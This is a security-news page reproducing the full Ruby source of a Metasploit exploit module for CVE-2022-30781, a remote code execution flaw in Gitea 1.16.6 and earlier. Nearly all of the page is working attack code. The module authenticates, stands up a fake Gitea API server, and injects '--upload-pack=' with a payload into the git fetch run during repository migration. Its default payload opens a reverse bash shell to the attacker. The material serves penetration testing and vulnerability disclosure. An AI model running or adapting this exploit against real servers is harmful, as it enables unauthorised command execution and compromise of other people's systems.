Security
Headlines
HeadlinesLatestCVEs

Headline

Gitea 1.16.6 Remote Code Execution

This Metasploit module exploits the Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. This vulnerability affects Gitea versions prior to 1.16.7.

Packet Storm
#csrf#vulnerability#web#linux#debian#js#git#rce#auth
# Exploit Title: Gitea Git Fetch Remote Code Execution# Date: 09/14/2022# Exploit Author: samguy# Vendor Homepage: https://gitea.io# Software Link: https://dl.gitea.io/gitea/1.16.6# Version: <= 1.16.6# Tested on: Linux - Debian# Ref : https://tttang.com/archive/1607/# CVE : CVE-2022-30781### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Gitea Git Fetch Remote Code Execution',        'Description' => %q{          This module exploits Git fetch command in Gitea repository migration          process that leads to a remote command execution on the system.          This vulnerability affect Gitea before 1.16.7 version.        },        'Author' => [          'wuhan005 & li4n0', # Original PoC          'krastanoel'        # MSF Module        ],        'References' => [          ['CVE', '2022-30781'],          ['URL', 'https://tttang.com/archive/1607/']        ],        'DisclosureDate' => '2022-05-16',        'License' => MSF_LICENSE,        'Platform' => %w[unix win],        'Arch' => ARCH_CMD,        'Privileged' => false,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],        ],        'DefaultOptions' => { 'WfsDelay' => 30 },        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => []        }      )    )    register_options([      Opt::RPORT(3000),      OptString.new('TARGETURI', [true, 'Base path', '/']),      OptString.new('USERNAME', [true, 'Username to authenticate with']),      OptString.new('PASSWORD', [true, 'Password to use']),      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])    ])  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/user/login'),      'keep_cookies' => true    )    return CheckCode::Unknown('No response from the web service') if res.nil?    return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200    # Powered by Gitea Version: 1.16.6    unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))      return CheckCode::Unknown('Target does not appear to be running Gitea.')    end    if match[:version].match(/[a-zA-Z]/)      return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")    end    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/user/login'),      'vars_post' => {        'user_name' => datastore['USERNAME'],        'password' => datastore['PASSWORD'],        '_csrf' => get_csrf(res.get_cookies)      },      'keep_cookies' => true    )    return CheckCode::Safe('Authentication failed') if res&.code != 302    if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')      return CheckCode::Appears("Version detected: #{match[:version]}")    end    CheckCode::Safe("Version detected: #{match[:version]}")  rescue ::Rex::ConnectionError    return CheckCode::Unknown('Could not connect to the web service')  end  def primer    ['/api/v1/version', '/api/v1/settings/api',     "/api/v1/repos/#{@migrate_repo_path}",     "/api/v1/repos/#{@migrate_repo_path}/pulls",     "/api/v1/repos/#{@migrate_repo_path}/topics"    ].each { |uri| hardcoded_uripath(uri) } # adding resources    vprint_status("Creating repository \"#{@repo_name}\"")    gitea_create_repo    vprint_good('Repository created')    vprint_status("Migrating repository")    gitea_migrate_repo  end  def exploit    @repo_name = rand_text_alphanumeric(6..15)    @migrate_repo_name = rand_text_alphanumeric(6..15)    @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"    datastore['URIPATH'] = "/#{@migrate_repo_path}"    Timeout.timeout(datastore['HTTPDELAY']) { super }  rescue Timeout::Error    [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }    cleanup # removing all resources  end  def get_csrf(cookies)    csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last    fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf    csrf  end  def gitea_remove_repo(name)    vprint_status("Cleanup: removing repository \"#{name}\"")    uri = "/#{datastore['username']}/#{name}/settings"    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, uri),      'keep_cookies' => true    )    res = send_request_cgi(      'method' => 'POST',      'uri' => uri,      'vars_post' => {        'action' => 'delete',        'repo_name' => name,        '_csrf' => get_csrf(res.get_cookies)      },      'keep_cookies' => true    )    vprint_warning('Unable to remove repository') if res&.code != 302  end  def gitea_create_repo    uri = normalize_uri(target_uri.path, '/repo/create')    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)    @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text    fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid    res = send_request_cgi(      'method' => 'POST',      'uri' => uri,      'vars_post' => {        'uid' => @uid,        'auto_init' => 'on',        'readme' => 'Default',        'repo_name' => @repo_name,        'trust_model' => 'default',        'default_branch' => 'master',        '_csrf' => get_csrf(res.get_cookies)      },      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302  rescue ::Rex::ConnectionError    return CheckCode::Unknown('Could not connect to the web service')  end  def gitea_migrate_repo    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/repo/migrate'),      'keep_cookies' => true    )    uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text    fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri    svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, uri),      'keep_cookies' => true    )    res = send_request_cgi(      'method' => 'POST',      'uri' => uri,      'vars_post' => {        'uid' => @uid,        'service' => svc_type,        'pull_requests' => 'on',        'repo_name' => @migrate_repo_name,        '_csrf' => get_csrf(res.get_cookies),        'auth_token' => rand_text_alphanumeric(6..15),        'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",      },      'keep_cookies' => true    )    if res&.code != 302 # possibly triggered by the [migrations] settings      err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text      gitea_remove_repo(@repo_name)      cleanup      fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")    end  rescue ::Rex::ConnectionError    return CheckCode::Unknown('Could not connect to the web service')  end  def on_request_uri(cli, req)    case req.uri    when '/api/v1/version'      send_response(cli, '{"version": "1.16.6"}')    when '/api/v1/settings/api'      data = {        'max_response_items':50,'default_paging_num':30,        'default_git_trees_per_page':1000,'default_max_blob_size':10485760      }      send_response(cli, data.to_json)    when "/api/v1/repos/#{@migrate_repo_path}"      data = {        "clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",        "owner": { "login": datastore['username'] }      }      send_response(cli, data.to_json)    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"      send_response(cli, '{"topics":[]}')    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"      data = [        {          "base": {            "ref": "master",          },          "head": {            "ref": "--upload-pack=#{payload.encoded}",            "repo": {              "clone_url": "./",              "owner": { "login": "master" },            }          },          "updated_at": "2001-01-01T05:00:00+01:00",          "user": {}        }      ]      send_response(cli, data.to_json)    end  endend

Related news

CVE-2022-30781: Gitea 1.16.7 is released - Blog

Gitea before 1.16.7 does not escape git fetch remote.

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution